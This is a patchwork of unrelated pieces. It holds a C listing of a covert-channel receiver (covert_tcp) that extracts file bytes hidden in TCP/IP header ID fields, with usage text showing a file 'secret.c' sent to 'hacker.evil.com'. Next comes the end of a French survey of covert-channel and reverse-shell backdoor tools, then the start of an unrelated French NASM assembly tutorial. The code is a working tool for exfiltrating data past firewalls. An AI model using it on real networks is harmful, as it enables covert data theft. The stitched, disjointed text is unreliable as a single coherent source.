3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "server.h"
27 int main(int argc, char *argv[]){
28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int ipid=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];
33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }
38    if((argc < 5) || (argc > 13))
39    {
40    usage(argv[0]);
41    exit(0);
42    }
43    for(count=0; count < argc; ++count)
44     {
45     if (strcmp(argv[count],"-dest") == 0)
46      {
47      dest_host=host_convert(argv[count+1]); 
48      strncpy(desthost,argv[count+1],79);
49      }
50      
51     else if (strcmp(argv[count],"-source") == 0)
52      {
53      source_host=host_convert(argv[count+1]); 
54      strncpy(srchost,argv[count+1],79);
55      }
56     else if (strcmp(argv[count],"-file") == 0)
57      {
58      strncpy(filename,argv[count+1],79);
59      file=1;
60      }
61     else if (strcmp(argv[count],"-source_port") == 0)
62       source_port=atoi(argv[count+1]);
63     else if (strcmp(argv[count],"-dest_port") == 0)
64       dest_port=atoi(argv[count+1]);
65     }
66    /* check the encoding flags */
67     ipid=1; /* set default encode type if none given */
68   
69    if(file != 1)
70     {
71     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
72     exit(1);
73     }
74     
75     if (source_host == 0 && source_port == 0)
76       {
77       printf("You need to supply a source address and/or source port for server mode.\n");
78       exit(1);
79       }
80      if(dest_host == 0) 
81       strcpy(desthost,"Any Host");
82      if(source_host == 0)
83       strcpy(srchost,"Any Host");
84      printf("Listening for data from IP: %s\n",srchost);
85      
86      if(source_port == 0)
87       printf("Listening for data bound for local port: Any Port\n");
88      else
89       printf("Listening for data bound for local port: %u\n",source_port);
90      printf("Decoded Filename: %s\n",filename);
91       printf("Decoding Type Is: IP packet ID\n");
92      printf("\nServer Mode: Listening for data.\n\n");
93      forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94    exit(0);
95 }

96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid ) {
98    struct recv_tcp
99    {
100       struct iphdr ip;
101       struct tcphdr tcp;
102       char buffer[10000];
103    } recv_pkt;
104    int recv_socket;
105    FILE *output;
106    
107    srand((getpid())*(dest_port)); 
108    
109     if((output=fopen(filename,"wb"))== NULL)
110   {
111   printf("I cannot open the file %s for writing\n",filename);
112   exit(1);
113   }
114  while(1) 
115  {

116    recv_socket = socket(AF_INET, SOCK_RAW, 6);
117    
118    if(recv_socket < 0)
119    {
120       perror("receive socket cannot be open. Are you root?");
121       exit(1);
122    }
123   read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
124         if (source_port == 0) 
125         {       
126                 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
127                 {
128                        
129                         printf("Receiving Data: %c\n",recv_pkt.ip.id);
130                         fprintf(output,"%c",recv_pkt.ip.id);
131                         fflush(output);
132                 } 
133         } 
134         else
135         {
136                 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
137                 {
138                        printf("Receiving Data: %c\n",recv_pkt.ip.id);
139                        fprintf(output,"%c",recv_pkt.ip.id);
140                        fflush(output);
141                 } 
142         } 
143    close(recv_socket); 
144   }
145   fclose(output);
146 }

147 unsigned int host_convert(char *hostname)
148 {
149    static struct in_addr i;
150    struct hostent *h;
151    i.s_addr = inet_addr(hostname);
152    if(i.s_addr == -1)
153    {
154       h = gethostbyname(hostname);
155       if(h == NULL)
156       {
157          fprintf(stderr, "cannot resolve %s\n", hostname);
158          exit(0);
159       }
160       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
161    }
162    return i.s_addr;
163 } 

164 void usage(char *progname)
165 {
166       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
167 filename -source_port port -dest_port port\n\n", 
168 progname);
169       printf("-dest dest_ip      - Host to send data to.\n");
170       printf("-source source_ip  - Host data will be coming FROM.\n");
171       printf("-source_port port  - IP source port you want data to appear from. \n");
172       printf("                     (randomly set by default)\n");
173       printf("-dest_port port    - IP source port you want data to go to. In\n");
174       printf("                     SERVER mode this is the port data will be coming\n");
175       printf("                     inbound on. Port 80 by default.\n");
176       printf("-file filename     - Name of the file to encode and transfer.\n");
177       printf("\nPress ENTER for examples.");
178       getchar();
179       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
180 source_port 1234 -dest_port 80 -file secret.c\n\n");
181       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
182       printf("at a time using the default IP packet ID encoding.\n");
183       exit(0);
184 } 
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc791.html

[FrameIp]
http://www.frameip.com/enteteip/

Outils

Je vais vous parlez, dans cette section, des différents outils de covert channel que je connais, de leurs avantages et de leurs défauts, beaucoup des descriptions de ces outils sont tirées de l'excellent article [Covert Shell] par J. Christian Smith. Les outils seront présentés en fonction de leurs ancienneté (du plus ancien au plus contemporain).

- Loki: Cet outil, présenté dans phrack 49 par Alhambra et daemon9, utilise le corps des messages ICMP echo request/reply pour mettre en place une communication bidirectionnelle. Normalement le corps de ces messages ICMP est utilisé pour la vérification de l'intégrité des paquets ou encore des informations de temps. Ceci concerne la première version de Loki. Il y a eut une deuxième version, présentée dans phrack 51, où l'idée fût prolongée pour être mise en place dans des paquets UDP camouflés sous forme de requête DNS. La possibilité de changer de protocole au-vol a également été implémenté. Une encryption blowfish et l'échange de clé symétrique/asymétrique fûrent également implémentés.

- Daemonshell-UDP: Présenter par THC's van Hauser, cet outil utilise les corps des messages TCP et UDP. L'utilisation du corps de ces protocoles ne nécessitent pas les droits root, ce qui peut être un avantage. De plus, ce programme tente de se faire passer pour l'utilitaire vi.

- ICMP backdoor: Réaliser par la team CodeZero, cet outil utilise le corps des messages ICMP echo reply. Cet outil, contrairement à Loki, n'est pas intéractif. Par contre, le fait que ce programme n'utilise pas le padding (remplissage) du paquet ICMP peut prêter à confusion et le faire passer pour un simple paquet IP inconnus vu sa taille réduite.

- Rwwwshell: Une autre création de la team THC's van Hauser consistant en un covert channel dans le protocole HTTP avec une connection renversée, le client est placer sur la cible et se connecte au serveur. Ceci permet d'éviter beaucoup de filtres firewall/proxy. Le fonctionnement de cet utilitaire est simple.
Tout d'abord le client, à interval régulier, se connecte au serveur (placer sur une autre machine sous le contrôle du hacker) puis le serveur répond en envoyant les commandes shell au client et enfin le client renvoie la sortie produite par la commande shell au serveur. Les données sont uuencodée pour passer inaperçues. Le problème de cet outil est qu'il appel un script cgi ce qui est très visible dans les logs du traffic HTTP.

- B0CK: Réaliser par la team s0ftpr0ject, cet outil utilise les messages IGMP multicast pour caché ses données. La grande innovation de ce programme est qu'il utilise l'adresse IP source pour cacher les données : la table ASCII va au maximum jusqu'à 255 tout comme une adresse IPv4 ce qui nous permet de cacher au minimum 4 caractères dans une ip. Pour chaque envoie de donnée l'adress IP source change donc ce qui est tout à fait crédible. Mais l'IP spoofing est une technique qui fonctionne de moins en moins.

- CCTT: Une réalisation de la team Gray-World. Cet utilitaire permet de faire du tunneling et du covert channel à haut niveau (SOCK_STREAM et SOCK_DGRAM). Il s'agit d'un utilitaire "touche à tout" capable de mettre en place des shell, reverse shell... Pour plus d'informations allez donc sur le site [CCTT]

- MsnShell: Un outil très intéressant utilisant un protocole de très haut niveau, MSN. Créé par Wei Zheng, cet utilitaire s'occupe de mettre en place un shell, lorsqu'une personne s'y connectes, via un client MSN (MSN Messenger par exemple) et tapes des commandes Linux. Le principe est très intéressant sachant que souvent dans le réseau d'une entreprise, les connections de l'intérieur vers l'extérieur sont interdites sauf pour certains protocoles/ports. Allez donc voir sur la page de [MsnShell] pour plus d'informations.

On peut aussi utilisé des outils forgeant des paquets comme Hping, Scapy, Rafale X etc...

[CovertShell]
http://www.ouah.org/covert_shells.htm

[CCTT]
http://gray-world.net/pr_cctt.shtml

[MsnShell]
http://www.gray-world.net/pr_msnshell.shtml

Conclusion

Les covert channel sont connus par les hackers depuis un moment déjà : le premier programme rendu publique utilisant un covert channel était Loki sorti en 1996. Mais ces techniques datent de bien avant la sortie de cet outil. Et pourtant, ce thème reste toujours d'actualité et le restera surement pendant un bon moment, à l'inverse il évoluera de plus en plus, sachant que de plus en plus de protocoles de très haut niveau (au dessus de HTTP, IRC...) se développent.
J'espère vous avoir éclairer avec cet article sur les covert channel. Ne connaissant aucun autre article en français sur le sujet je me suis dit "pourquoi pas" :).
[NPN: pour compiler les code source fournis dans cet article:
gcc -o client client.c
il est impossible de mettre nos données n'importe où dans le header des paquets sinon ceux-ci risquent de ne pas respecter la RFC et donc de ne pas être transmis.]

Remerciements: zul et x-faktor qui m'ont bien aider (des fois sans même s'en rendre compte :)).
Un petit coucou à tous les gens que j'ai croiser depuis que je m'intéresse au hack/sécurité : Subfr.org, Securi-Corp, CNC (lol), Degenere-Science.

Flyers.
"Tu imagines si tu étais le roi du monde tout en vivant dans les déchets ? Ce serait une façon de mépriser la société qui te rejètes mais que tu commandes."  Kes

Introduction à la programmation assembleur sous linux

Cours d'assembleur
NASM, un ami qui vous veut du bien.
  1. Sommaire
Préface
Introduction
      Base de chiffres
      Les processeurs
      Les registres
      Les mnémoniques
      Le format ELF
      Les syscalls
      La Libc
      Etude de cas
Spécifications
      Déclaration des variables
      Inclure un fichier
      Adresses spéciales
      Définition de constantes
      Répétition d'instructions
      Opérateurs
      SEG et WRT
      Annuler l'optimisation
      Expressions critiques
      Labels locaux
      Définition de structures
      Les comparaisons
Macros
      Macros simples
      Macros sur plusieurs lignes
Analyse de codes
      Macro ENUM
      Recup de argc
      Code polymorphique
Debuggers
      Ndisasm
      GBD
      Strace
      Application
Conclusion
Références
Remerciements
  1. Préface
Je suis tombé sur un article écrit il y a plusieurs années sur la programmation assembleur. Je n'avais jamais pris le temps de le mettre sur mon blog mais je vais enfin pouvoir partager cette expérience avec toi publique :).
Vous me direz, mais à quoi ça sert de savoir programmer en assembleur ? Et je vous répondrez que l'assembleur est un langage très proche du langage machine. De ce fait, en sachant programmer en assembleur vous comprendrez beaucoup mieux les mécanismes qui régissent le fonctionnement de votre cpu, et de ses périphériques.
D'un point de vu pratique nous allons, ensemble, apprendre l'assembleur pour, dans une suite d'articles prochains, comprendre les principes du reversing et peut-être commencer à programmer nos premiers virus.
Nous allons travailler sur un i386 (comme 95% des PC) sous linux (debian sid). J'ai préféré travailler avec NASM car il adopte la syntaxe intel ce qui, pour un passage d'os à windows, pourrait être pratique.
Avant de commencer je voudrais casser quelques mythes, l'assembleur n'est pas plus dur à assimiler que le C, on peut l'utiliser pour faire des programmes de haut niveau (sockets, environnement graphique ...). Si l'assembleur n'est pas aussi utiliser que le C c'est principalement dûe au fait que le code n'est pas portable et qu'il est plus fastidieux à créer.
Si vous êtes déjà familier avec le fonctionnement d'un cpu et que vous avez déjà les bases en assembleur, passez l'introduction.
Bien, nous pouvons maintenant rentrer dans le vif du sujet. Entrez dans mon monde.
  1. Introduction
  • Base de chiffres :Il y a la base décimale, celle que nous connaissons tous : en base 10 (de 0 à 9)

    La base binaire : en base 2 (de 0 à 1)

    110012 = 1 x 24 + 1 x 23 + 0 x 22 + 0 x 21 + 1 x 20
                  
    = 16 + 8 + 1 = 25

    On appel chaque “chiffre”, 0 ou 1 dans le cas présent, un bit (à ne pas confondre avec Byte qui est un octet).

    La base héxadécimale : en base 16 (de 0 à F)
    On compte ainsi en héxadécimal.
    0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=7; 8=8; 9=9; A=10; B=11; C=12; D=13; E=14; F=15.

    2AF16 = 2 x 162 + 10 x 161 + 15 x 160           = 512 + 160 + 15 = 687
    L'intérêt de l'héxadécimal est qu'il permet de représenter plus simplement des valeurs binaires. Comme le binaire est en base 2 et l'héxadécimal en base 16 il est simple de représenter 4 bits (24 = 16).

    Par exemple : 1110 1001 0110 1110
                          E       9       6       E
    Il faut également savoir qu'un ensemble de 8 bits s'appel un octet. De là vos fichiers en ko, Mo, Go.
  • Les processeurs :Un processeur est un composant électrique composé, pour ce qui nous intéresse, de registres, pour stocker des informations temporairement. D'une horloge envoyant des pulsations toutes les microsecondes ou nanosecondes. Lorsque vous achetez un processeur de type 1Ghz cela représente la vitesse de cette horloge ; pour savoir en secondes la durée d'un cycle de votre horloge faîtes 1/f où f est la fréquence (soit 1/1e9 = 1 ns pour notre cas). Les autres composants électronique se basent sur cette horloge pour effectuer leurs tâches.
    Parlons maintenant de l'organisation de la mémoire – non, pas celle de votre disque dur ; la mémoire du processeur et dans certains cas de la RAM –. Chaque octet est repéré par un nombre unique dans la mémoire de votre processeur. Mais le processeur traitant des quantités incroyable de données, il ne traite que rarement de simples octets. C'est pour cela que l'on a nommé des ensembles d'octets.
    word
    2 octets
    double word
    4 octets
    quad word
    8 octets
    paragraph
    16 octets
    Toutes les données en informatique sont des nombres. Par exemple les caractères sont sous forme de chiffre. On a seulement créé une table de correspondance entre les valeurs décimales et les caractères.

    Actuellement, la plus grande différence entre les différents types de processeurs se situe donc au niveau de la taille des registres et de la rapidité de l'horloge mais pas seulement.
  • Les registres :Nous travaillerons, comme je l'ai déjà dit, sur un processeur de type 80386. Ce qui veut dire que les registres auront une taille de 32 bits.
    Les registres sont des espaces mémoires nous permettant de stocker des valeurs de 32 bits. Grâce à eux nous pourrons accéder à une donnée précise, récupérer la valeur de retour d'une fonction, passer des arguments à une fonction, etc...
    Ils sont organisés de cette façon :
    EAX
    EBX
    ECX
    EDX
    registre général
    registre général
    registre général
    registre général
    ESI
    EDI
    EBP
    EIP
    ESP
    offset mémoire
    offset mémoire
    offset mémoire gardant l'adresse de la fonction
    offset mémoire du code
    offset mémoire de la pile
    Les registres généraux servent de foure-tout. Tandis que les registres d'offset pointent généralement sur une adresse mémoire utile. Vous apprendrez au fur et à mesure quel registre utiliser pour quoi faire. Il existe d'autres registres plus spécifiques.
  • La pile :Sur les processeurs de type x86, la pile est un outil permettant de stocker des données de façon temporaire car rapide d'accès. La pile est dite LIFO (Last In First Out), ce qui veut dire que la première chose mise dans la pile sera la dernière chose enlevée de la pile. C'est donc pour cela que l'on a l'habitude de s'imaginer la pile comme des assiettes empilées les unes sur les autres, où chaque assiette représenterait une donnée, puis que l'on désempilerait de haut en bas.
    Les mnémoniques pour empiler et désempiler sont respectivement “push” et “pop”. Un petit code pour illustrer ça :
    push val1 ; val1 = 10
    push val2 ; val2 = 20
    
    pop val1 ; val1 = 20
    pop val2 ; val2 = 10
    Vous verrez plus loin que la pile est un outil indispensable dans la programmation assembleur.
  • Les mnémoniques :Toute instruction NASM peut être résumée ainsi :
    label : mnémonique opérandes ;commentaire

    Il n'est pas obligatoire de retrouver tous les éléments sur la même ligne. Les mnémoniques représentent les instructions assembleur, ce qui nous permet de programmer. Par exemple.
    addition:       add eax,4 ; j'ajoute 4 à eax et je stock le résultat dans eax
    Il existe beaucoup de mnémoniques, pour un listing complet allez voir le manuel de NASM.
  • Le format ELF :Sous linux les éxécutables ont le format ELF pour Executable and Linking Format. Ce format offre un découpage modulaire de l'en-tête de l'éxécutable sous cette forme : (Représentation très simplifiée)
    ELF Header
    Program Header Table
      Segment #1
      Segment #2
      . . .
      Section Header Table
        Section 1
        . . .
        Section n
    Nous utiliserons trois segments dans notre code :
    .data
    .bss
    .text
    Sert aux variables de tailles fixes. Variables initialisées. Sert aux variables de tailles inconnues. Variables non initialisées. C'est là que se trouve le code du programme.
    Pour plus d'informations sur le format ELF :
    cat /usr/include/elf.h
  • Les syscall :
    En assembleur sous linux, il existe une mnémonique permettant de faire appel au noyau. C'est à dire que grâce à cette mnémonique on peut demander au noyau d'effectuer une action pour nous. La mnémonique en question se nomme int pour “interruption”. Pour faire appel au kernel il faut lui passer l'argument 0x80.
    Nous verrons son utilisation dans un code expliquer et commenter.

    Pour une liste assez exhaustive des différents syscalls : http://www.lxhp.in-berlin.de/lhpsyscal.html
  • La libc :
    Il est également possible d'utiliser les fonctions de la libc sous certaines conditions. Cela nous permet de faire pas mal de choses simplement.
  • Etude de cas :
    Nous allons étudier là deux petits programmes tout ce qu'il y a de plus banal, j'ai nommé des “hello world”.

    Le premier utilisant les syscalls. Le syscall permettant d'écrire (write) est le 4.
    Il prend en paramètres :
    edx : la longueur de la chaîne à affichée
    ecx : un pointeur sur le début de la chaîne
    ebx : le handle où l'on veut écrire (en l'occurence 1 pour l'écran)
    eax : le numéro du syscall à appeler
    ; NASM -f elf hello_world.asm
    ; ld hello_world.o -o hello_world
    
    segment .data
            hello db        "Hello World !", 0xa      ; 0xa équivaut à \0
            len     equ     $ - hello           ; taille de la chaîne (strlen(hello))
    
    segment .text
            global  _start
    
    _start:
            mov     edx, len           ; edx = longueur de la chaîne a afficher
            mov     ecx, dword hello   ; ecx pointe sur l'adresse du début de la chaîne
            mov     ebx, 1             ; file handle, ou l'on écrit (STDOUT)
            mov     eax, 4             ; sys_write
            int     0x80               ; call kernel
            
            mov     eax,1                   ; sys_exit
            xor     ebx,ebx                 ; ebx = 0 (soit exit(0) en c)
            int     80h                     ; call kernel
    Au début on défini les variables dans les bons segments (rappelez-vous, variables de longueurs fixes dans data ; variables de longueurs non définies dans bss). len contient la taille de la chaîne hello, nous verrons plus tard ce que représente la ligne qui définie cette variable. global sert à définir le point d'entrée du code (_start quand on compile avec ld et main quand on compile avec gcc). Ensuite le remplissage des paramètres pour appeler sys_write. dword est un mot clé pour dire que la variable est de type doubleword. Puis on quitte proprement avec un sys_exit.

    Le second utilisant la fonction printf() de la libc.
    Pour utiliser la libc il faut lier le .o avec gcc. Pour appeler une fonction de la libc il faut empiler les arguments dans la pile (push) dans l'ordre inverse qu'ils sont demandés par la fonction. Un exemple :
    int fprintf(FILE *stream, const char *format, ...); 

    Il faudra donc empiler le format en premier puis le stream soit :
    push format
    push stream
    call fprintf
    pop eax ; valeur de retour de la fonction

    extern permet de dire au compilateur que l'on va appeler une fonction extérieure à notre programme.
    Il faut nettoyer la stack après chaque appel à une fonction de la libc.
    ; NASM -f elf hello_printf.asm
    ; gcc hello_printf.o -o hello_printf
    
    global main
            extern printf   ; on déclare la fonction printf comme externe
    
    section .data
            msg     db      "Hello, World",0Dh,0Ah,0
    
    section .text
            main:
            push dword msg  ; pointe vers l'adresse du début de la chaîne à afficher
            call printf                 ; printf()
            pop eax                     ; on nettoie la stack
            ret
    Dans la programmation NASM les mot-clés du type dword, byte ... servent à spécifier que l'on pointe sur l'adresse de la variable et non pas sur son contenu. Comme dans notre cas :
    dword msg
  1. Spécifications
    Nous allons maintenant apprendre les bases nécessaires pour comprendre un code NASM : la signification des mots clés, la déclaration des variables, l'étude de quelques mnémoniques ...
  • Déclaration des variables :
    Comme nous l'avons déjà vu, il existe deux grands types de variables en assembleur : les variables non-initialisées et les variables initialisées déclarées respectivement dans les sections .bss et .data. NASM nous permet de définir à l'aide de lettres la taille de l'espace mémoire que nous allouons à ces données.
    La section .data :
    db   0x55                       ; un octet : 0x55
    db   0x55, 0x56, 0x57           ; trois octets
    db   'a', 0x55                  ; deux octets (a = 0x41)
    db   'hello', 13, 10,'$'        ; ça marche aussi avec les chaînes de caractères
    dw   0x1234                     ; deux octets : 0x34 0x12
    dw   'a'                        ; 0x41 0x00
    dw   'abc'                      ; 0x41 0x42 0x43 0x00
    dd   0x12345678                 ; quatre octets : 0x78 0x56 0x34 0x12
    dd   1.234567e20                ; nombre à virgule de précision float
    dq   1.234567e20                ; nombre à virgule de double précision float
    dt   1.234567e20                ; nombre à virgule de précision float étendue
    La précision des nombres de type “float” désigne le nombre de chiffres, après la virgule, gardés en mémoire.
    La section .bss :
    resb    255     ; REServe 255 octets
    resb    1       ; REServe 1 octets
    resw    1       ; REServe 1 Word (1 Word = 2 octets )
    resd    1       ; REServe 1 Double word (soit 4 octets)
    resq    1       ; REServe 1 float à double précision
    rest    1       ; REServe 1 float à précision étendue
  • Inclure un fichier :
    Le mot réservé INCBIN permet d'inclure un fichier binaire dans votre source.
    incbin   "file.dat"             ; inclue un fichier entier
    incbin   "file.dat", 1024       ; inclue le fichier sans les 1024 premiers octets
    incbin   "file.dat", 1024,512   ; inclue le fichier sans les 1024 premiers octets
                                    ; et jusqu'à 512 octets
  • Adresses spéciales :Les jetons $ et $$ désignent eux des adresses spécifiques : $ représente l'adresse de l'instruction par rapport au début du code et $$ l'adresse de l'instruction par rapport au début de la section. Ainsi pour créé une boucle infinie ou pourrait faire
    jmp $
  • Définition de constantes : EQU :EQU permet de définir une constante dont la valeur ne pourra donc pas changée. Par exemple :
    message         db      'hello, world'
    msglen          equ     $-message
    msglen représente la taille de message soit 12 octets.

  • Répétition d'instructions : TIMES :
    Le préfixe TIMES fait que l'instruction est assemblée plusieurs fois. L'avantage de cette instruction est qu'elle peut permettre d'effectuer plusieurs fois un ensemble d'action plus ou moins complexes.
    buffer: db 'hello, world'
            times 64-$+buffer db ' '
    Cet exemple va donc réserver 64 octets pour y stocker buffer.
    On peut utiliser TIMES pour répéter n'importe quelle mnémonique.

  • Opérateurs :NASM, tout comme le C accepte des opérateurs arithmétiques forts utiles. A la différence que les opérateurs Nasm ne sont utilisables que dans le préprocesseur (calcul d'adresse, macros ...), cf : expressions critiques.

    | : OR

    ^ : XOR

    & : AND

    << et >> : Décalage binaire

    + et - : addition, soustraction

    *, /, //, % et %%
    +, -, ~ : opérateurs s'applicant sur un argument
    Tout comme en C et en électronique, cet opérateur effectue un OR bit par bit à vos données. Tout comme en C et en électronique, cet opérateur effectue un XOR bit par bit à vos données. Tout comme en C et en électronique, cet opérateur effectue un AND bit par bit à vos données. Comme en C cet opérateur permet de copier le nombre de bits (spécifier par la deuxième opérande) de la première opérande en commençant par le bit de poid faible. Tout comme en C, ces opérandes permettent de faire une addition ou une soustraction. * permet de faire une multiplication
    / permet de faire une division non signée
    // permet de faire une division signée
    % permet de faire un modulo non signé
    %% permet de faire un modulo signé
    Lorsque vous mettez un + ou un – devant une seul variable vous rendez respectivement la variable en signe positif ou en signe négatif.
    ~ quant à lui agit comme une porte NOT en électronique.

    Comme il est essentiel de comprendre le fonctionnement de ces opérateurs nous allons développer un peu les opérateurs agissant au niveau binaire :
    L'opérateur OR.
    Bit 1
    Bit 2
    Bit 1 | Bit 2
    0
    0
    0
    0
    1
    1
    1
    0
    1
    1
    1
    1

    L'opérateur AND.
    Bit 1
    Bit 2
    Bit 1 & Bit 2
    0
    0
    0
    0
    1
    0
    1
    0
    0
    1
    1
    1

    L'opérateur XOR.
    Bit 1
    Bit 2
    Bit 1 ^ Bit 2
    0
    0
    0
    0
    1
    1
    1
    0
    1
    1
    1
    0

    L'opérateur NOT.
    Bit
    ~Bit
    0
    1
    1
    0

    L'opérateur de décalage binaire.
    Prenons l'exemple de 42 << 2 :
    42 en binaire.


    0
    0
    1
    0
    1
    0
    1
    0
    Le résultat de 42 << 2 soit 168 en décimal.
    0
    0
    1
    0
    1
    0
    1
    0
    0
    0
  • SEG et WRT :Dans un programme en assembleur, il existe différents types de segments, dont les plus connues sont CS/DS/SS pour Code Segment, Data Segment et Stack Segment. Ceux-ci permettent d'atteindre des adresses lointaines. Ainsi en mode 16 bits, ces segments sont éparpillés car ne pouvant être placés dans la même zone mémoire tandis qu'en mode 32 bits, les segments sont accessibles dans la même zone mémoire.
    SEG et WRT permettent d'accéder à l'adresse d'une donnée lointaine. Ce qui n'est que très rarement utile en mode 32 bits. Les seuls différences de ces mnémoniques sont au niveau de la syntaxe et au niveau du résultat obtenu.
    Quelques exemples :
    mov ax, seg donnee
    mov es, ax
    mov bx, donnee          ; ES:BX contient un pointeur valide vers donnee
    La mnémonique SEG récupère donc l'offset de donnee. Pour cela elle utilise un “base segment” par défaut pour obtenir un offset exploitable.
    Ce que l'on peut spécifier grâce à la mnémonique WRT :
    mov ax, base_segment
    mov es, ax
    mov bx, donnee wrt base_segment ; ES:BX contient un pointeur different mais tout aussi fonctionnel vers donnee
    Ici base_segment représente donc le “base segment” :).
    NASM permet de faire des appels et des sauts vers des labels lointains sous la forme :
    call segment:offset     ; ou segment et offset sont des valeurs numériques
       
    On peut donc à l'aide de SEG et WRT réaliser le calcul immédiatement :
    call (seg procedure):procedure                  ; les parentheses ne sont 
    call weird_seg:(procedure wrt weird_seg)        ; pas obligatoire en pratique.
  • Annuler l'optimisation : STRICT :Lorsque l'on passe à NASM l'argument “-On”, où n est un chiffre spécifiant le niveau d'optimisation, NASM effectue une optimisation du code. Il est possible que pour certaines instructions vous ne vouliez pas que l'optimisation ai lieu. C'est pour cela que STRICT a été inventé.
    Par exemple avec l'optimisation :
    push dword 33           ; 66 6A 21
    push strict dword 33    ; 66 68 21 00 00 00
  • Expressions critiques :Une limitation de NASM est qu'il assemble le code en deux phases minimum (sans optimisation) ; pas comme tasm ou d'autres. La première phase (préprocesseur) consiste pour NASM à récupérer la taille globale du programme, des segments de données ... Ainsi lors de la deuxième phase (runtime), la génération de l'exécutable, NASM connaît toutes les adresses des données dont fait référence le code source.
    Donc ce que NASM ne peux prendre en compte sont les instructions du code source faisant référence à une donnée déclarée après.
    Par exemple :
      times (label-$) db 0
    label: db 'Where am I ?'
    NASM ne pourra compiler ce code car la ligne déclarant label est après celle lui allouant de l'espace mémoire.
    Ce concept a été appelé expression critique. Il existe différentes instructions qui peuvent être restreintent par ces expressions critiques tel que TIMES, RES*, EQU ...
  • Labels locaux :
    Le point permet à NASM de déclarer des labels locaux, comme on le voit dans l'exemple. En plus, NASM permet de faire référence à un label en-dehors du domaine local.
    label1  ; some code
    .loop           
                            ; some more code
            jne .loop
            ret
    
    label2  ; some code
    .loop           
                            ; some more code
            jne .loop
            ret
            
    label3  ; some code
                            ; some more code
            jmp label1.loop
    Ainsi le premier jne .loop ira directement à label1.loop, le deuxième jne .loop ira à label2.loop et le dernier jmp label1.loop ira au début du code (label1.loop).
  • Définition de structures : STRUC :Pour définir une structure on fait appel au préprocesseur par le biais du mot-clé STRUC. Il ne prend qu'un argument. STRUC n'est qu'une macro qui effectue en réalité plusieurs EQU.
    struc mytype 
            .long:   resd 1
            .word:   resw 1
            .byte:   resb 1
            .str:    resb 32
    endstruc
    On déclare donc la structure mytype avec des variables locales de types différents : mytype.long, mytype.word, mytype.byte et mytype.str.
  • Les comparaisons : CMP :Les langages de programmation habituels tels que le C utilisent des structures de contrôle du flux d'éxécution du programme (if, while, switch) ce qui n'existe pas en assembleur. Pour pallier à cela on a recoure à la mnémonique CMP qui effectue une simple soustraction et stock le résultat dans un registre spécial, le registre FLAGS.

    Pour les entiers non-signés il y a deux bits importants dans le registre FLAGS : le zero (ZF) et la portée (CF)
    cmp vleft, vright
    La soustraction entre vleft et vright est effectuée et
    - si vleft = vright, alors ZF est mis à 1 et CF est mis à 0
    - si vleft > vright, alors ZF est mis à 0 et CF est mis à 0
    - si vleft < vright, alors ZF est mis à 0 et CF est mis à 1

    Pour les entiers signés il y a trois bits importants dans le registre FLAGS : le zero (ZF), la surcharge (OF) et le signe (SF)
    - si vleft = vright, alors ZF est mis à 1
    - si vleft > vright, alors ZF est mis à 0 et SF = OF
    - si vleft < vright, alors ZF est mis à 0 et SF != OF

    Les valeurs que prennent ces bits servent ensuite à éguiller le flux d'éxécution du code à l'aide de mnémoniques d'aiguillage dont voici un bref tableau récapitualtif :
    JZ
    JNZ
    JO
    JNO
    JS
    JNS
    JC
    JNC
    JP
    JNP
    Commute seulement si ZF = 1
    Commute seulement si ZF = 0
    Commute seulement si OF = 1
    Commute seulement si OF = 0
    Commute seulement si SF = 1
    Commute seulement si SF = 0
    Commute seulement si CF = 1
    Commute seulement si CF = 0
    Commute seulement si PF = 1
    Commute seulement si PF = 0

    L'instruction JMP saute quelque soit la valeur du registre FLAGS. On peut spécifier une certaine portée à nos mnémoniques d'aiguillage pour minimiser la taille du code par exemple :
    - SHORT permet de sauter à 128 octets vers le haut ou vers le bas du code.
    - NEAR permet de sauter n'importe où dans le segment courant.
    - FAR permet de sauter dans n'importe quel autre segment.

    De plus les processeurs de type 80x86 offrent la possibilités de rendre ces tests plus simples par le biais de mnémoniques d'aiguillage plus adaptées :
    Entiers signés
    Entiers non signés
    JE                     Commute si vleft = vright
    JNE                   Commute si vleft != vright
    JL, JNGE           Commute si vleft < vright
    JLE, JNG           Commute si vleft <= vright
    JG, JNLE           Commute si vleft > vright
    JGE, JNL           Commute si vleft >= vright
    JE                   Commute si vleft = vright
    JNE                 Commute si vleft != vright
    JB, JNAE         Commute si vleft < vright
    JBE, JNA         Commute si vleft <= vright
    JA, JNBE         Commute si vleft > vright
    JAE, JNB         Commute si vleft >= vright

    Et pour finir un petit bout de code exemple :
       cmp eax, 0xffffffff         ; si eax != -1
       jne thenblock               ; on saute vers thenblock
       mov DWORD PTR [esp], 0x1    ; on empile les arguments pour le call
       call ptrace                 ; on appel la fonction
       jmp next                    ; on passe à la suite
    thenblock :  
       mov DWORD PTR [esp], 0x8048564 ; on empile d'autres arguments
       call ptrace                    ; on appel la fonction
    next :                            ; on continue l'éxécution
